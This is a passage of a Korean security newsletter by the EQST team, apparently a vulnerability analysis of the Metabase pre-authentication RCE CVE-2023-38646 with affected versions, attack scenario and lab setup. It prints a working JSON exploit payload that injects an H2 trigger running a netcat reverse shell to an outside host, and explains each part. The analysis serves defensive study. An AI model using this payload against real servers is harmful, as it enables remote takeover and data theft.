
EQST(이큐스트)는 ‘Experts,  Qualified Security Team’

이라는 뜻으로 사이버 위협 분석 및 연구 분야에서 검증된

최고 수준의 보안 전문가 그룹입니다.  
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Keep up with Ransomware 
   

 

암호화로 탐지 회피하는 Cactus, 다크웹 활동 개시  

◼ 개요 
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◼ 랜섬웨어 뉴스 
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◼ 랜섬웨어 위협 
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◼ 랜섬웨어 집중 포커스 
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◼ 참고 사이트 
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Research & Technique 
    

 

Metabase H2 JDBC 연결 정보를 악용한 Pre-Auth RCE 취약점 

(CVE-2023-38646) 

■ 취약점 개요 
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■ 영향받는 소프트웨어 버전 

S/W 구분 버전 

Metabase 

Metabase Enterprise 1.46.6.1 

Metabase Enterprise 1.45.4.1 

Metabase Enterprise 1.44.7.1 

Metabase Enterprise 1.43.7.2 

Metabase open source 0.46.6.1 

Metabase open source 0.45.4.1 

Metabase open source 0.44.7.1 

Metabase open source 0.43.7.2 

 

■ 공격 시나리오 

 

① 공격자는 Shodan 등의 OSINT 검색 엔진을 통해 취약한 Metabase 서버를 탐색 

② 공격자는 CVE-2023-38646 취약점을 이용하여 피해자 서버에 접근 

③ 공격자는 원격 명령 실행을 통해 Reverse Shell 연결 피해자의 서버를 장악 

④ 공격자는 피해자의 데이터베이스에 접근하여 중요 정보를 탈취 
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■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 20.04.6 LTS focal 

Docker version 24.0.5, build ced0996 

Metabase:v0.46.6 

Alpine Linux v3.18 

(192.168.102.65) 

공격자 

Ubuntu 20.04.6 LTS focal 

Burp Suite Community Edition v2023.7.1 

Ncat: Version 7.80 

 (92.168.102.54) 
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■ 취약점 테스트 

명령어 

$ docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6 

-d 옵션: detach 모드로 백그라운드로 docker 를 실행시키는 옵션 

-p 옵션: local 포트와 docker 에서 실행할 포트를 지정하는 옵션 
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■ 취약점 상세 분석 
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{ 

  "token": "04d96839-9289-462b-affe-b3e5cb0a19b3", 

  "details": { 

    "is_on_demand": false, 

    "is_full_sync": false, 

    "is_sample": false, 

    "cache_ttl": null, 

    "refingerprint": false, 

    "auto_run_queries": true, 

    "schedules": {}, 

    "details": { 

      "db": "mem:test;AUTO_RECONNECT=TRUE\\;CREATE TRIGGER EQSTLAB BEFORE SELECT ON 

INFORMATION_SCHEMA.TABLES AS $$//javascript 

java.lang.Runtime.getRuntime().exec('nc 192.168.0.18 1234 -e /bin/sh') 

$$--=x;", 

      "advanced-options": true, 

      "ssl": true 

    }, 

    "name": "test", 

    "engine": "h2" 

  } 

} 
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특징 TRIGGER ALIAS 

사용 목적 
DB 이벤트(INSERT, UPDATE 등)에 반응하여 

Java 메서드 호출 

별칭을 정의하여 SQL 쿼리 내에서 Java 

메서드 호출 

호출 DB 이벤트 발생 시 자동 호출 명시적으로 호출 

예시 
CREATE TRIGGER ... BEFORE SELECT ON 

INFORMATION_SCHEMA.TABLES …; 
CREATE ALIAS MY_FUNC FOR …; 

파라미터 값 설명 

mem:test: H2 데이터베이스를 메모리 모드로 실행 

AUTO_RECONNECT=TRUE H2 JDBC 연결 문자열 옵션 

\\; JSON 내에서 ‘;’ 문자를 Escape 처리  

CREATE TRIGGER EQSTLAB BEFORE 

SELECT ON 

INFORMATION_SCHEMA.TABLES 

"EQSTLAB" 이라는 이름의 트리거를 생성하고, 

INFORMATION_SCHEMA.TABLES 에서 SELECT 문을 실행하기 

전에 특정 액션(Java Method 호출)을 수행하도록 설정 

AS $$//.... $$--=x\;: 
AS 이후 Java 코드를 정의할 수 있으며, $$ 내부에 있는 

내용은 Escape 됨.  

java.lang.Runtime.getRuntime().exec('nc 

192.168.0.18 1234 -e /bin/sh') 

Java 의 Runtime 클래스를 사용하여 외부 프로세스를 실행. 

여기서는 nc (Netcat) 도구를 사용하여 192.168.0.18 주소의 

1234 포트로 Reverse Shell 연결 
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■ 대응 방안  
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■ 참고 사이트  
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